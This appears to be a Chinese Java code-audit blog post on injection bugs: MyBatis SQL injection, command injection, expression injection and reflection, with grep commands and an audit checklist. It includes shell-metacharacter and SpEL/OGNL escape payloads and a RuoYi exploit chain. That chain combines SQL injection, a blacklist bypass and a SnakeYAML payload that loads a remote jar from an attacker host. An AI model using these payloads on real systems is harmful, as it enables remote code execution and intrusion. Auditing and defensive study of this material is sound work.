Java 代码审计实战速查(四):注入类漏洞

SQL 注入、命令执行、表达式注入,这三类经常被分开讲。但审计的时候我把它们放在一起看,因为本质是同一件事:

一段可控的字符串,被当成指令交给了某个解释器执行。

解释器可能是 SQL 引擎、是 shell、是表达式引擎、是模板引擎、是反射机制。判断方法也统一:找到"字符串进入解释器"的那一行,然后确认字符串里有多少是外部能控制的。


0x01 SQL 注入

MyBatis 里必然出现拼接的五个位置

#{} 编译成 PreparedStatement 的问号占位符,值不参与 SQL 语法解析。${} 是纯粹的字符串替换,替换完才交给数据库解析。

绝大多数情况下用 #{} 就够了。但有五个位置用不了预编译,因为占位符只能代表"值",不能代表"标识符"或"语法结构":

表名、列名
ORDER BY 后面的字段名
LIKE 的模式串(有替代写法)
<sql> 片段和 <selectKey>
动态拼装的 where 条件

这五个位置就是 SQL 注入的必然发生地。 审计时不用漫无目的地看,直接奔这五处。

LIKE 有替代写法,所以不算真正的死角:

<!-- 危险:直接拼接模式串 -->
<select id="searchUsers" resultType="User">
    SELECT * FROM users WHERE name LIKE '%${keyword}%'
</select>

<!-- 安全:用 CONCAT 把通配符交给数据库拼 -->
<select id="searchUsers" resultType="User">
    SELECT * FROM users WHERE name LIKE CONCAT('%', #{keyword}, '%')
</select>

或者在 Java 层拼好通配符再传进去:

Map<String, Object> params = new HashMap<>();
params.put("keyword", "%" + keyword + "%");

<sql> 片段和动态 where 条件是真死角。<if> 里拼接的是一整段 SQL 语法,不是值,占位符替代不了。

ORDER BY 为什么一定会有 ${}

这一条值得单独说,因为它解释了这类漏洞为什么会反复出现。

开发一开始通常这么写:

<select id="list" resultType="User">
    SELECT * FROM users ORDER BY #{orderByColumn} #{isAsc}
</select>

预编译之后 SQL 长这样:

SELECT * FROM users ORDER BY ? ?

绑定进去的值是字符串 'create_time'。数据库把 ORDER BY 'create_time' 理解成一个常量表达式——每一行的排序键都相同,排序不生效。

开发测了一下发现"排序没作用",于是改成 ${},注入就出现了。

所以看到 ORDER BY 用了 ${},先别急着判定漏洞,这是预编译的固有限制。真正要判的是后面有没有校验。

校验要写成枚举,不能写成正则

上一篇文章详细拆过若依 SqlUtil 的正则白名单是怎么被绕的([a-zA-Z0-9_\ \,\.]+ 允许的字符集足以构造 CASE WHEN ... LIKE 0x...)。这里只补正确写法。

不要试图用正则去清洗 SQL 片段。排序字段是可枚举的,直接枚举:

private static final Set<String> ALLOWED_COLUMNS =
        Set.of("create_time", "user_name", "dept_id", "status");

public String buildOrderBy(String column, String asc) {
    if (!ALLOWED_COLUMNS.contains(column)) {
        throw new IllegalArgumentException("illegal order by column");
    }
    return column + ("desc".equalsIgnoreCase(asc) ? " desc" : " asc");
}

注意 asc 用的是等值判断,不是正则,也不是 startsWith。字段名走白名单集合。这样即使列名后面还能跟别的东西,也没有位置可以塞。

MyBatis-Plus 不等于安全

用了 MyBatis-Plus 的项目经常被误认为"参数都走 Wrapper,不会有注入"。但 Wrapper 里有几个方法是直接吃字符串的:

wrapper.apply("date_format(create_time,'%y%m%d') = '" + date + "'");
wrapper.last("limit " + offset + "," + size);
wrapper.orderByAsc(orderByColumn);
wrapper.having("count(*) > " + minCount);

last() 是明确把字符串拼到 SQL 尾部的,apply() 和 having() 里的条件片段同样不经过预编译。这几个方法的参数只要有一个来自请求参数,就是注入。 搜这四个方法名比搜 ${ 更有效,因为用 MyBatis-Plus 的项目里往往一个 ${ 都没有。

不走 MyBatis 的裸 JDBC 和 HQL

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from t where name = '" + name + "'");
Query query = session.createQuery("from User where name = '" + name + "'");

这两种在二开项目和老项目里都能遇到。注意 Statement 和 PreparedStatement 的区别不在于用了哪个类,而在于 SQL 是什么时候拼好的——PreparedStatement 一样可以被拼:

// 用了 PreparedStatement,一样有注入
String sql = "select * from t where name = '" + name + "'";
PreparedStatement ps = conn.prepareStatement(sql);

搜关键字搜 Statement 是没用的,要搜字符串拼接的地方。

数据库类型决定 payload

审计开始前先确认数据库类型,看 application.yml:

driverClassName: com.mysql.cj.jdbc.Driver
url: jdbc:mysql://...

确认类型的意义在于:同一个注入点,不同数据库的验证手法完全不同。

MySQL      报错注入 extractvalue / updatexml,十六进制字面量 0x...
           内联注释 /**/ 可以代替空格,limit 可用
Oracle     查询必须有 FROM dual(否则语法错误,会被误判成没有注入)
           字符串用 || 拼接,报错注入用 utl_inaddr / ctxsys.drithsx
SQLServer  WAITFOR DELAY '0:0:5',分号 ;-- 截断,堆叠查询支持
           命令执行走 xp_cmdshell
PostgreSQL pg_sleep(),字符串可以用 $$ 包裹

实际审计里最常见的误判是:拿 MySQL 的 payload 去打一套 Oracle 系统,回显全是语法错误,于是判定"不可注入"。不同数据库的语法差异足以让你漏掉真实漏洞。

搜什么

# MyBatis XML 里的拼接
grep -rn '\${' --include=*.xml .

# MyBatis-Plus 的字符串入口
grep -rnE '\.(last|apply|having|orderByAsc|orderByDesc)\(' --include=*.java .

# 裸 JDBC 与 HQL
grep -rniE 'createStatement|createQuery\(|createSQLQuery' --include=*.java .

# Service 层手工拼 SQL
grep -rnE '"(select|insert|update|delete) .*"\s*\+' --include=*.java .

0x02 命令执行

直接执行代码的函数不多,数得过来:

Runtime.getRuntime().exec(cmd);
new ProcessBuilder(cmd).start();

判断点只有一个:cmd 整体可控,还是只有其中一段可控。

exec(String) 不经过 shell

这是个容易搞错的细节,但直接影响 payload 能不能用。

Runtime.getRuntime().exec("ping " + ip);

exec(String) 内部把整个字符串按空白字符切分成 argv 数组,然后直接调 execve,不经过 shell。所以在 Linux 上:

ping 127.0.0.1; id        ; 不会被解释,进程名变成 "127.0.0.1;",执行失败
ping 127.0.0.1 | id       | 同样不生效
ping 127.0.0.1 && id      同理

只有显式调用了 shell,元字符才生效:

Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});

判断这类漏洞时,要看代码里有没有这一层。 有 shell 才是完整的命令注入,没有的话可控性大打折扣——但仍然可能是有效的,因为 exec(String) 允许攻击者执行任意程序(只要路径可控),或者往参数里塞 --option 改变程序行为。

前端参数里的间隔符

真正好用的注入点通常是"参数被拼进命令行":

String[] cmd = {"/bin/sh", "-c", "ping -c 1 " + ip};

这种情况下 ip 传 127.0.0.1; id、127.0.0.1 | id、127.0.0.1`id`、127.0.0.1%0aid 都能用。审计的时候主要确认三件事:有没有 shell、参数位置在命令中间还是在末尾、有没有经过任何校验。

grep -rnE 'Runtime\.getRuntime\(\)\.exec|new ProcessBuilder|ProcessImpl|\.start\(\)' --include=*.java .

0x03 表达式注入

表达式引擎的设计目的就是"把字符串当代码求值",所以只要表达式字符串可控,就等于代码执行。

各引擎的入口函数:

OGNL      Ognl.getValue() / Ognl.parseExpression()
          Struts2 的 %{} ${} 标签
SpEL      SpelExpressionParser.parseExpression()
          StandardEvaluationContext
MVEL      MVEL.eval() / MVEL.executeExpression()
FEL       FelEngine.instance.eval()
JEXL      JexlEngine.createExpression()
Groovy    GroovyShell.evaluate() / GroovyClassLoader.parseClass()
JS        ScriptEngineManager.getEngineByName("js"/"nashorn").eval()
BeanShell Interpreter.eval()
Aviator   AviatorEvaluator.execute()

对应的逃逸写法:

// SpEL
T(java.lang.Runtime).getRuntime().exec("calc")

// OGNL
@java.lang.Runtime@getRuntime().exec("calc")

// MVEL(需要 import)
Runtime.getRuntime().exec("calc")

// Groovy
"calc".execute()

能不能碰到 Runtime,看 EvaluationContext

同一个 SpEL,用不同的上下文,风险差一个量级。

// 危险:默认 StandardEvaluationContext
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput);
Object value = exp.getValue();
// 受限:SimpleEvaluationContext
Expression exp = parser.parseExpression(userInput);
Object value = exp.getValue(
        SimpleEvaluationContext.forReadOnlyDataBinding().build());

SimpleEvaluationContext 禁掉了类型引用(T(...))、构造器调用和 Bean 引用。上面那条 T(java.lang.Runtime) 在这套上下文里会直接失败。

所以判断顺序是:

1. 表达式字符串本身是否可控(是字符串可控,不是结果可控)
2. 引擎是否允许类型引用(T() / @类@方法 / Class.forName)
3. 上下文是否限制了 Bean 访问和构造器调用
4. 有没有额外的沙箱或白名单前缀校验

第 1 条是硬门槛。第 2 条决定危害等级。

搜 SpEL 搜出 30 处,28 处不用看

这是这篇里最省时间的一条经验。

搜 parseExpression 或者 SpelExpressionParser,会命中大量结果。但其中绝大部分是注解里的硬编码表达式:

@PreAuthorize("@ss.hasPermi('system:user:list')")
@Cacheable(value = "user", key = "#userId")
@Value("#{systemProperties['user.timezone']}")

这三个都是 SpEL,但表达式字符串是开发者写在代码里的常量,攻击者控制不了。@PreAuthorize 的表达式由框架在启动时解析,@Cacheable 的 key 表达式由方法参数求值——参数可控,但表达式本身不可控,所以不构成表达式注入。

真正要看的是参数位置是变量的调用:

parser.parseExpression(param);                       // 要看
parser.parseExpression("#user.name").getValue(ctx);  // 不用看,表达式是常量

有一次我在一套系统里搜到三十多处 parseExpression,逐个看下来只有两处是 parseExpression(变量):一处在报表模块,表达式来自前端传的公式字符串;另一处在数据脱敏规则里,规则由后台管理界面配置。其余二十八处全是注解常量。

这两处才是工作量,那二十八处一眼过。 如果不先做这个区分,三十处一处一处追调用链,一天就没了。

顺带一个经验:这套系统的报表模块里,那个"公式"输入框在后台界面上明摆着,前端还带公式校验。凡是产品设计里让用户填"表达式""公式""条件""脚本"的地方,都是优先检查的对象——规则引擎配置、工作流条件、告警规则、脱敏规则、权限表达式,都是同一类。


0x04 反射调用

这一类不算严格意义上的"注入",但判断逻辑完全一样:字符串决定执行什么。

Object bean = SpringUtils.getBean(beanName);
// 或者
Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
invokeMethod(bean, methodName, methodParams);

beanName 可控 = 任意 Bean 调用;beanName 加 methodName 都可控 = 任意类任意方法。

若依定时任务的完整链条

第一篇埋的那个伏笔在这里收。

ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java:

public static void invokeMethod(SysJob sysJob) throws Exception {
    String invokeTarget = sysJob.getInvokeTarget();
    String beanName = getBeanName(invokeTarget);
    String methodName = getMethodName(invokeTarget);
    List<Object[]> methodParams = getMethodParams(invokeTarget);

    if (!isValidClassName(beanName)) {
        Object bean = SpringUtils.getBean(beanName);
        invokeMethod(bean, methodName, methodParams);
    } else {
        Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
        invokeMethod(bean, methodName, methodParams);
    }
}

invokeTarget 就是数据库 sys_job.invoke_target 字段,由后台"新增任务"界面填写。

版本演进很清楚:

v4.6.2 及以下   对 invokeTarget 没有限制,直接写类全路径即可
v4.6.2 ~ 4.7.1  新增黑名单,屏蔽 ldap / http(s) / rmi 关键字

而那个黑名单挡不住什么。因为是关键字匹配,在关键字中间插空格或单引号就能绕过。

拿到可控的 invokeTarget 之后,利用方式是把 SpringBoot 自带的 SnakeYAML 当跳板——SpringBoot 解析 YAML 配置需要它,所以它一定在类路径上,不需要显式引入:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [!!java.net.URL ["http://vps/yaml-payload.jar"](!!java.net.URL%20%5B%22http://vps/yaml-payload.jar%22)]]')

Yaml.load() 会按标签实例化对象,ScriptEngineManager 的构造器接收一个 URLClassLoader,于是触发 SPI 机制去远程 jar 里找 META-INF/services/javax.script.ScriptEngineFactory,加载并实例化其中的类。恶意代码写在那个类的构造器里就走通了。

过滤加在入口,不在执行点

这一段是整篇最值得记的一条。

若依对 invokeTarget 的校验,加在"新增任务"和"编辑任务"这两个接口上。任务执行的时候不校验。

// 新增/编辑时校验
if (!ScheduleUtils.whiteList(invokeTarget)) {
    throw new ServiceException("调用目标字符串有误");
}

// 执行时直接用
JobInvokeUtil.invokeMethod(sysJob);

这意味着:只要能用任何其他方式改掉 sys_job.invoke_target 这一行的值,校验就完全失效。

同一套系统里的代码生成模块正好提供了改数据库的手段:

// GenTableServiceImpl.java
@Override
public boolean createTable(String sql) {
    return genTableMapper.createTable(sql) == 0;
}
<!-- GenTableMapper.xml -->
<update id="createTable">
    ${sql}
</update>

前端传的 SQL 直接执行。于是两条链拼起来:用代码生成的 ${sql} 注入去 update sys_job set invoke_target = ...,绕开新增接口上的黑名单,然后手动触发任务。

这个组合在公开分析里出现过,中间还要处理"字符串转十六进制时空格丢失"之类的细节,但思路就是上面这样。

审计时的检查项是:校验做了几处,执行点有没有兜底。 只在写入时校验、读取时信任数据,等于把安全性押在"数据不会被别的方式改掉"这个假设上。而这个假设在同一个系统里有 SQL 注入的时候就不成立。


0x05 清单

SQL 注入
[ ] 全局搜 \${,逐个记录语句 id 并回 DAO 接口找方法
[ ] 确认五个必然拼接位置:表名列名、ORDER BY、LIKE、<sql> 片段、动态 where
[ ] 搜 MyBatis-Plus 的 last / apply / having / orderByAsc
[ ] 搜裸 JDBC(createStatement)和 HQL(createQuery)
[ ] 确认数据库类型,按类型准备验证 payload
[ ] ORDER BY 的校验是否为枚举,不是正则

命令执行
[ ] 搜 Runtime.exec / ProcessBuilder / ProcessImpl
[ ] 确认有没有 /bin/sh -c 或 cmd.exe /c 这一层
[ ] 判断参数是整体可控还是部分可控

表达式注入
[ ] 搜各引擎的入口函数(parseExpression / MVEL.eval / FelEngine.eval ...)
[ ] 区分表达式字符串可控与不可控,只留前者
[ ] 确认 EvaluationContext 是 Standard 还是 Simple
[ ] 检查后台"公式/条件/脚本/规则"配置功能

反射调用
[ ] 搜 Class.forName / getBean(变量) / newInstance / getMethod / invoke
[ ] 确认类名与方法名是否可控
[ ] 检查校验点与执行点是否在同一个位置

下一篇讲文件类漏洞:上传、下载、读取、删除、解压穿越。这一类是企业项目里出现频率最高的,也是最容易出成果的。


免责声明:本文技术内容仅用于安全研究与防御建设,请在获得合法授权的环境下测试。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇